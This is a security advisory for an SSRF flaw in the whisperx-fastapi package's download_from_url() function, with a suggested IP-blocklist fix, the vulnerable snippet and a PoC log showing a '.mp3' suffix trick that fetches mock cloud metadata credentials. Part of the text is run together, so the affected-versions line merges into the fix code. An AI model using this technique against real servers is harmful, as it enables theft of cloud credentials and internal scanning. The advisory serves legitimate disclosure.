### Vulnerability Overview * **Vulnerability Name**: CWE-918: SSRF in `download_from_url()` — URL validation occurs after the HTTP request; extension bypass via `.mp3` * **CVE ID**: CVE-2026-3491 * **CVSS v3 Score**: 5.8 / 10 (Moderate) * **Vulnerability Description**: In the `FileService.download_from_url()` function, `requests.get(url)` is executed before URL validation. The file extension check occurs after the HTTP request is made. Attackers can bypass extension checks by appending a `.mp3` extension to any URL, thereby accessing unauthorized internal resources (such as cloud metadata). * **Impact**: Attackers can steal cloud credentials (AWS keys), scan internal networks, or access internal APIs. ### Affected Scope * **Package**: `whisperx-fastapi` (pip) * **Affected Versions**: >= 0.3.1, None: parsed = urlparse(url) if parsed.scheme not in ('http', 'https'): raise ValueError("Invalid scheme") ip = ipaddress.ip_address(socket.gethostbyname(parsed.hostname)) for network in BLOCKED_NETWORKS: if ip in network: raise ValueError("URL resolves to blocked IP range") ``` Additionally, extension validation should be moved to **before** the `requests.get()` call. ### POC Code / Exploitation Logic **Vulnerable Code Snippet (Details)**: ```python with requests.get(url, stream=True, timeout=30) as response: response.raise_for_status() # Lines 142-150: extension check happens HERE - AFTER the request filename = os.path.basename(url) ext = os.path.splitext(filename)[1] if ext not in ALLOWED_EXTENSIONS: raise ValueError(...) ``` **PoC Verification Log**: ```text # [Step 3] URL with extension bypass (.mp3 in path)... # URL: http://127.0.0.1:28024/.../role.mp3 # [VULNERABLE] Request made: HTTP 200 # [VULNERABLE] Data received: 240 bytes # [VULNERABLE] Extension check: PASSED (.mp3 accepted) # ... LEARNED DATA ... { "AccessKeyId": "AKIAZID5F00N7EXAMPLE", "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY", } # [Step 4] SSRF without valid extension (data STILL leaks)... # [VULNERABLE] Data received: 240 bytes # [VULNERABLE] Extension check: FAILED # BUT: Server ALREADY fetched the URL! # [Step 5] Server access log: # [SSRF HIT] 127.0.0.1 GET /latest/meta-data/.../role.mp3 # [SSRF HIT] 127.0.0.1 GET /latest/meta-data/... ```